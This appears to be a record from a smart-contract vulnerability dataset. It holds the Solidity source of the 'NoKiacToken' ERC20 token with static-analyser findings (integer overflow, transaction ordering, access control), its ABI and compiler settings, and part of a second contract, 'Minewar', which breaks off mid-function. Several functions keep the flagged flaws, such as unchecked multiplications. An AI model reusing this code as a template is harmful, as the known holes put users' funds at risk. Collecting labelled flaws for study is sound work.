pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract NoKiacToken is StandardToken, Ownable { // Constants string public constant name = "NoKiac"; string public constant symbol = "NOKA"; uint8 public constant decimals = 6; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); uint256 public constant FREE_SUPPLY = 100000000 * (10 ** uint256(decimals)); uint256 public nextFreeCount = 2000 * (10 ** uint256(decimals)) ; uint256 public constant decr = 0 * (10 ** 1) ; mapping(address => bool) touched; function NoKiacToken() public { totalSupply_ = INITIAL_SUPPLY; balances[address(this)] = FREE_SUPPLY; emit Transfer(0x0, address(this), FREE_SUPPLY); balances[msg.sender] = INITIAL_SUPPLY - FREE_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - FREE_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function () external payable { if (!touched[msg.sender] ) { touched[msg.sender] = true; _transfer(address(this), msg.sender, nextFreeCount ); nextFreeCount = nextFreeCount - decr; } } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["276", "275"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["34", "44"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["312", "293", "281", "279", "278"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NoKiacToken.sol": [64, 65, 66, 67, 68, 69, 70, 71]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NoKiacToken.sol": [76, 77, 78, 79, 80, 81]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [244, 245, 246, 247, 248]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [48, 49, 50, 47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [110]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [218, 219, 220, 221, 222]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [38, 39, 40, 41, 42]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [260, 261, 262, 263, 264, 265, 266, 267, 268, 269]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [320, 321, 322, 317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NoKiacToken.sol": [232, 230, 231]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [230]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [218]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [230]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [196]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [196]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [218]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [244]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [260]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [317]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [155]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [244]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [260]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NoKiacToken.sol": [196]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"NoKiacToken.sol": [278]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"NoKiacToken.sol": [279]}}]
[{"error": "Integer Overflow.", "line": 95, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 321, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 319, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 49, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 218, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 122, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 124, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 284, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"safeWithdrawal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"FREE_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"nextFreeCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decr","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.4.21+commit.dfe3193c
false
200
Default
false
bzzr://08b73dbbc9441195b0ca1da056e9671d53de8b5279fff08fc5f0ef9082c72f29
Minewar
0x4a184673b7247ea15227d8f738a0627e0b17d72a
Solidity
pragma solidity ^0.4.2; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract Minewar { uint256 round = 0; uint256 public deadline; uint256 public CRTSTAL_MINING_PERIOD = 86400; uint256 public SHARE_CRYSTAL = 10 * CRTSTAL_MINING_PERIOD; uint256 public HALF_TIME = 12 hours; uint256 public ROUND_TIME = 7 days; uint256 BASE_PRICE = 0.005 ether; uint256 RANK_LIST_LIMIT = 1000; //miner info mapping(uint256 => MinerData) private minerData; uint256 private numberOfMiners; // plyer info mapping(address => PlyerData) private players; //booster info uint256 private numberOfBoosts; mapping(uint256 => BoostData) private boostData; //order info uint256 private numberOfOrders; mapping(uint256 => BuyOrderData) private buyOrderData; mapping(uint256 => SellOrderData) private sellOrderData; uint256 private numberOfRank; address[21] rankList; address public sponsor; uint256 public sponsorLevel; address public administrator; /*** DATATYPES ***/ struct PlyerData { uint256 round; mapping(uint256 => uint256) minerCount; uint256 hashrate; uint256 crystals; uint256 lastUpdateTime; } struct MinerData { uint256 basePrice; uint256 baseProduct; uint256 limit; } struct BoostData { address owner; uint256 boostRate; uint256 startingLevel; uint256 startingTime; uint256 halfLife; } struct BuyOrderData { address owner; string title; string description; uint256 unitPrice; uint256 amount; } struct SellOrderData { address owner; string title; string description; uint256 unitPrice; uint256 amount; } function Minewar() public { administrator = msg.sender; numberOfMiners = 8; numberOfBoosts = 5; numberOfOrders = 5; numberOfRank = 21; //init miner data // price, prod. limit minerData[0] = MinerData(10, 10, 10); //lv1 minerData[1] = MinerData(100, 200, 2); //lv2 minerData[2] = MinerData(400, 800, 4); //lv3 minerData[3] = MinerData(1600, 3200, 8); //lv4 minerData[4] = MinerData(6400, 12800, 16); //lv5 minerData[5] = MinerData(25600, 51200, 32); //lv6 minerData[6] = MinerData(204800, 409600, 64); //lv7 minerData[7] = MinerData(1638400, 1638400, 65536); //lv8 startNewRound(); } function startNewRound() private { deadline = SafeMath.add(now, ROUND_TIME); round = SafeMath.add(round, 1); initData(); } function initData() private { sponsor = administrator; sponsorLevel = 5; //init booster data boostData[0] = BoostData(0, 150, 1, now, HALF_TIME); boostData[1] = BoostData(0, 175, 1, now, HALF_TIME); boostData[2] = BoostData(0, 200, 1, now, HALF_TIME); boostData[3] = BoostData(0, 225, 1, now, HALF_TIME); boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME); //init order data uint256 idx; for (idx = 0; idx < numberOfOrders; idx++) { buyOrderData[idx] = BuyOrderData(0, "title", "description", 0, 0); sellOrderData[idx] = SellOrderData(0, "title", "description", 0, 0); } for (idx = 0; idx < numberOfRank; idx++) { rankList[idx] = 0; } } function lottery() public { require(now >= deadline); uint256 balance = SafeMath.div(SafeMath.mul(this.balance, 90), 100); administrator.transfer(SafeMath.div(SafeMath.mul(this.balance, 5), 100)); uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5]; for(uint256 idx = 0; idx < 10; idx++){ if(rankList[idx] != 0){ rankList[idx].transfer(SafeMath.div(SafeMath.mul(balance,profit[idx]),100)); } } startNewRound(); } function getRankList() public view returns(address[21]) { return rankList; } //sponser function becomeSponsor() public payable { require(now <= deadline); require(msg.value >= getSponsorFee()); sponsor.transfer(getCurrentPrice(sponsorLevel)); sponsor = msg.sender; sponsorLevel = SafeMath.add(sponsorLevel, 1); } function getSponsorFee() public view returns(uint256 sponsorFee) { sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1)); } //-------------------------------------------------------------------------- // Miner //-------------------------------------------------------------------------- function getFreeMiner(address ref) public { require(now <= deadline); PlyerData storage p = players[msg.sender]; require(p.round != round); //reset player data if(p.hashrate > 0){ for (uint idx = 1; idx < numberOfMiners; idx++) { p.minerCount[idx] = 0; } } p.crystals = 0; p.round = round; //free miner p.lastUpdateTime = now; p.minerCount[0] = 1; MinerData storage m0 = minerData[0]; p.hashrate = m0.baseProduct; //send referral if (ref != msg.sender) { PlyerData storage referral = players[ref]; if(referral.round == round){ p.crystals = SafeMath.add(p.crystals, SHARE_CRYSTAL); referral.crystals = SafeMath.add(referral.crystals, SHARE_CRYSTAL); } } } function buyMiner(uint256[] minerNumbers) public { require(now <= deadline); require(players[msg.sender].round == round); require(minerNumbers.length == numberOfMiners); uint256 minerIdx = 0; MinerData memory m; for (; minerIdx < numberOfMiners; minerIdx++) { m = minerData[minerIdx]; if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){ revert(); } } updateCrytal(msg.sender); PlyerData storage p = players[msg.sender]; uint256 price = 0; uint256 minerNumber = 0; for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) { minerNumber = minerNumbers[minerIdx]; if (minerNumber > 0) { m = minerData[minerIdx]; price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber)); } } price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD); if(p.crystals < price){ revert(); } for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) { minerNumber = minerNumbers[minerIdx]; if (minerNumber > 0) { m = minerData[minerIdx]; p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber)); } } p.crystals = SafeMath.sub(p.crystals, price); updateHashrate(msg.sender); } function getPlayerData(address addr) public view returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost) { PlyerData storage p = players[addr]; if(p.round != round){ p = players[0]; } crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD); lastupdate = p.lastUpdateTime; hashratePerDay = p.hashrate; uint256 i = 0; for(i = 0; i < numberOfMiners; i++) { miners[i] = p.minerCount[i]; } hasBoost = hasBooster(addr); } function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction) { PlyerData storage p = players[minerAddr]; personalProduction = p.hashrate; uint256 boosterIdx = hasBooster(minerAddr); if (boosterIdx != 999) { BoostData storage b = boostData[boosterIdx]; personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100); } } //-------------------------------------------------------------------------- // BOOSTER //-------------------------------------------------------------------------- function buyBooster(uint256 idx) public payable { require(now <= deadline); require(players[msg.sender].round == round); require(idx < numberOfBoosts); BoostData storage b = boostData[idx]; if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){ revert(); } address beneficiary = b.owner; sponsor.transfer(devFee(getBoosterPrice(idx))); beneficiary.transfer(getBoosterPrice(idx) / 2); updateCrytal(msg.sender); updateCrytal(beneficiary); uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife); b.startingLevel = SafeMath.add(level, 1); b.startingTime = now; // transfer ownership b.owner = msg.sender; } function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel, uint256 startingTime, uint256 currentPrice, uint256 halfLife) { require(idx < numberOfBoosts); owner = boostData[idx].owner; boostRate = boostData[idx].boostRate; startingLevel = boostData[idx].startingLevel; startingTime = boostData[idx].startingTime; currentPrice = getBoosterPrice(idx); halfLife = boostData[idx].halfLife; } function getBoosterPrice(uint256 index) public view returns (uint256) { BoostData storage booster = boostData[index]; return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife)); } function hasBooster(address addr) public view returns (uint256 boostIdx) { boostIdx = 999; for(uint256 i = 0; i < numberOfBoosts; i++){ uint256 revert_i = numberOfBoosts - i - 1; if(boostData[revert_i].owner == addr){ boostIdx = revert_i; break; } } } //-------------------------------------------------------------------------- // Market //-------------------------------------------------------------------------- function buyCrystalDemand(uint256 amount, uint256 unitPrice,string title, string description) public payable { require(now <= deadline); require(players[msg.sender].round == round); require(unitPrice > 0); require(amount >= 1000); require(amount * unitPrice <= msg.value); uint256 lowestIdx = getLowestUnitPriceIdxFromBuy(); BuyOrderData storage o = buyOrderData[lowestIdx]; if(o.amount > 10 && unitPrice <= o.unitPrice){ revert(); } uint256 balance = SafeMath.mul(o.amount, o.unitPrice); if (o.owner != 0){ o.owner.transfer(balance); } o.owner = msg.sender; o.unitPrice = unitPrice; o.title = title; o.description = description; o.amount = amount; } function sellCrystal(uint256 amount, uint256 index) public { require(now <= deadline); require(players[msg.sender].round == round); require(index < numberOfOrders); require(amount > 0); BuyOrderData storage o = buyOrderData[index]; require(amount <= o.amount); updateCrytal(msg.sender); PlyerData storage seller = players[msg.sender]; PlyerData storage buyer = players[o.owner]; require(seller.crystals >= amount * CRTSTAL_MINING_PERIOD); uint256 price = SafeMath.mul(amount, o.unitPrice); uint256 fee = devFee(price); sponsor.transfer(fee); administrator.transfer(fee); buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD); seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD); o.amount = SafeMath.sub(o.amount, amount); msg.sender.transfer(SafeMath.div(price, 2)); } function withdrawBuyDemand(uint256 index) public { require(now <= deadline); require(index < numberOfOrders); require(players[msg.sender].round == round); BuyOrderData storage o = buyOrderData[index]; require(o.owner == msg.sender); if(o.amount > 0){ uint256 balance = SafeMath.mul(o.amount, o.unitPrice); o.owner.transfer(balance); } o.unitPrice = 0; o.amount = 0; o.title = "title"; o.description = "description"; o.owner = 0; } function getBuyDemand(uint256 index) public view returns(address owner, string title, string description, uint256 amount, uint256 unitPrice) { require(index < numberOfOrders); BuyOrderData storage o = buyOrderData[index]; owner = o.owner; title = o.title; description = o.description; amount = o.amount; unitPrice = o.unitPrice; } function getLowestUnitPriceIdxFromBuy() public returns(uint256 lowestIdx) { uint256 lowestPrice = 2**256 - 1; for (uint256 idx = 0; idx < numberOfOrders; idx++) { BuyOrderData storage o = buyOrderData[idx]; //if empty if (o.unitPrice == 0 || o.amount < 10) { return idx; }else if (o.unitPrice < lowestPrice) { lowestPrice = o.unitPrice; lowestIdx = idx; } } } //-------------------------Sell----------------------------- function sellCrystalDemand(uint256 amount, uint256 unitPrice, string title, string description) public { require(now <= deadline); require(players[msg.sender].round == round); require(amount >= 1000); require(unitPrice > 0); updateCrytal(msg.sender); PlyerData storage seller = players[msg.sender]; if(seller.crystals < amount * CRTSTAL_MINING_PERIOD){ revert(); } uint256 highestIdx = getHighestUnitPriceIdxFromSell(); SellOrderData storage o = sellOrderData[highestIdx]; if(o.amount > 10 && unitPrice >= o.unitPrice){ revert(); } if (o.owner != 0){ PlyerData storage prev = players[o.owner]; prev.crystals = SafeMath.add(prev.crystals, o.amount * CRTSTAL_MINING_PERIOD); } o.owner = msg.sender; o.unitPrice = unitPrice; o.title = title; o.description = description; o.amount = amount; //sub crystals seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD); } function buyCrystal(uint256 amount, uint256 index) public payable { require(now <= deadline); require(players[msg.sender].round == round); require(index < numberOfOrders); require(amount > 0); SellOrderData storage o = sellOrderData[index]; require(amount <= o.amount); require(msg.value >= amount * o.unitPrice); PlyerData storage buyer = players[msg.sender]; uint256 price = SafeMath.mul(amount, o.unitPrice); uint256 fee = devFee(price); sponsor.transfer(fee); administrator.transfer(fee); buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD); o.amount = SafeMath.sub(o.amount, amount); o.owner.transfer(SafeMath.div(price, 2)); } function withdrawSellDemand(uint256 index) public { require(now <= deadline); require(index < numberOfOrders); require(players[msg.sender].round == round); SellOrderData storage o = sellOrderData[index]; require(o.owner == msg.sender); if(o.amount > 0){ PlyerData storage p = players[o.owner]; p.crystals = SafeMath.add(p.crystals, o.amount * CRTSTAL_MINING_PERIOD); } o.unitPrice = 0; o.amount = 0; o.title = "title"; o.description = "description"; o.owner = 0; } function getSellDemand(uint256 index) public view returns(address owner, string title, string description, uint256 amount, uint256 unitPrice) { require(index < numberOfOrders); SellOrderData storage o = sellOrderData[index]; owner = o.owner; title = o.title; description = o.description; amount = o.amount; unitPrice = o.unitPrice; } function getHighestUnitPriceIdxFromSell() public returns(uint256 highestIdx) { uint256 highestPrice = 0; for (uint256 idx = 0; idx < numberOfOrders; idx++) { SellOrderData storage o = sellOrderData[idx]; //if empty if (o.unitPrice == 0 || o.amount < 10) { return idx; }else if (o.unitPrice > highestPrice) { highestPrice = o.unitPrice; highestIdx = idx; } } } //-------------------------------------------------------------------------- // Other //-------------------------------------------------------------------------- function devFee(uint256 amount) public view returns(uint256) { return SafeMath.div(SafeMath.mul(amount, 5), 100); } function getBalance() public view returns(uint256) { return this.balance; } //-------------------------------------------------------------------------- // Private //-------------------------------------------------------------------------- function updateHashrate(address addr) private { PlyerData storage p = players[addr]; uint256 hashrate = 0; for (uint idx = 0; idx < numberOfMiners; idx++) { MinerData storage m = minerData[idx]; hashrate = SafeMath.add(hashrate, SafeMath.mul(p.minerCount[idx], m.baseProduct)); } p.hashrate = hashrate; if(hashrate > RANK_LIST_LIMIT){ updateRankList(addr); } } function updateCrytal(address addr) private { require(now > players[addr].lastUpdateTime); if (players[addr].lastUpdateTime != 0) { PlyerData storage p = players[addr]; uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime); uint256 revenue = getHashratePerDay(addr); p.lastUpdateTime = now; if (revenue > 0) { revenue = SafeMath.mul(revenue, secondsPassed); p.crystals = SafeMath.add(p.crystals, revenue); } } } function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 